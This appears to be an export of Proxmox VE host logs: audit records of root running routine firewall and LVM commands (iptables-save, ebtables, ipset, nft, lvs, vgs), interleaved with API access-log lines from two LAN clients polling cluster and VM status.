{"@timestamp":1781966035717,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.719:64779): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555111,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.111:66109): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964465524,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.524:61149): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035717,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965245709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.709:64778): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555102,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.102:66108): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.517:61148): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035717,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965245700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.700:64777): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555094,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.094:66107): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.509:61147): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58704 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034443,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965245697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.697:64776): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b56c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555090,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.090:66106): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964465503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.503:61146): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034443,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965245689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.689:64775): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e60b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555083,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.083:66105): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964465499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.499:61145): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f05bfa68740 items=0 ppid=1156 pid=58702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966033469,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781965245678,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965245.678:64774): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146a50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555082,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.082:66104): argc=1 a0=\"date\""} {"@timestamp":1781964465497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.497:61144): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1387e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58702 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966033469,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781965244125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965244.125:64773): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec050 a1=64f8d73b28e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555076,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.076:66102): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964465492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.492:61143): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1390c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58701 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966031817,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 942"} {"@timestamp":1781965244102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965244.102:64772): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d4afb000 a1=64f8d73dc2f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555068,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.068:66101): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964465485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.485:61142): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1012c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58700 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966031817,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.291:64771): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555058,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.058:66100): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964465479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.479:61141): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139330 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58699 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966031817,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965242.285:64768): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555050,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.050:66099): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964465474,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.474:61140): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1012c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030777,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965240299,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965240.299:64765): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253810 a1=637ee72543b0 a2=637ee7240ef0 a3=8 items=2 ppid=62216 pid=62218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555041,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.041:66098): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964465468,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.468:61139): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0da0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58697 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966030777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781965240298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965240.298:64764): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72532e0 a1=637ee7252450 a2=637ee7240ef0 a3=8 items=2 ppid=62216 pid=62217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555031,"@rawstring":"node=pve type=EXECVE msg=audit(1781965555.031:66097): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964465462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.462:61138): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58696 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966029774,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781965240297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965240.297:64763): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252bc0 a1=637ee7252aa0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=62215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554859,"@rawstring":"node=pve type=EXECVE msg=audit(1781965554.859:66096): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964465453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.453:61137): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58695 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966029774,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.279:64762): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554834,"@rawstring":"node=pve type=EXECVE msg=audit(1781965554.834:66095): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964465450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.450:61136): arch=c000003e syscall=59 success=yes exit=0 a0=5ef71d303ed0 a1=5ef71d300c50 a2=5ef71d2e2680 a3=5 items=2 ppid=58688 pid=58694 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966027761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965237.272:64759): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553430,"@rawstring":"node=pve type=EXECVE msg=audit(1781965553.430:66094): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465446,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.446:61135): arch=c000003e syscall=59 success=yes exit=0 a0=5ef712c31ac8 a1=7ffd692e5ea0 a2=5ef71d2e2680 a3=5ef712c1524e items=2 ppid=58688 pid=58690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966027761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781965235669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.669:64756): arch=c000003e syscall=59 success=yes exit=0 a0=5dc6b2c77e90 a1=5dc6b2c74c10 a2=5dc6b2c56680 a3=5 items=2 ppid=62206 pid=62212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965553422,"@rawstring":"node=pve type=EXECVE msg=audit(1781965553.422:66091): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.445:61134): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd692e5e60 a1=5ef71d2e9310 a2=5ef71d2e2680 a3=5 items=2 ppid=58688 pid=58689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966027761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781965235665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.665:64755): arch=c000003e syscall=59 success=yes exit=0 a0=5dc694458ac8 a1=7ffe893cf3f0 a2=5dc6b2c56680 a3=5dc69443c24e items=2 ppid=62206 pid=62208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548415,"@rawstring":"node=pve type=EXECVE msg=audit(1781965548.415:66088): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.441:61132): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966027761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.664:64754): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe893cf3b0 a1=5dc6b2c5d360 a2=5dc6b2c56680 a3=5 items=2 ppid=62206 pid=62207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965548408,"@rawstring":"node=pve type=EXECVE msg=audit(1781965548.408:66085): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964465434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.434:61131): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966026755,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1100"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.658:64752): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546014,"@rawstring":"node=pve type=EXECVE msg=audit(1781965546.014:66082): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964465426,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.426:61130): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966026755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965235652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.652:64751): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=EXECVE msg=audit(1781965546.008:66081): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964465421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.421:61129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025251,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:33:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781965235646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.646:64750): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546008,"@rawstring":"node=pve type=EXECVE msg=audit(1781965546.008:66080): argc=1 a0=\"date\""} {"@timestamp":1781964465414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.414:61128): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025251,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:33:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965235640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965235.640:64749): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965546002,"@rawstring":"node=pve type=EXECVE msg=audit(1781965546.002:66078): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964465406,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964465.406:61127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c0d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58683 auid=4294967295 uid=0 gid=0 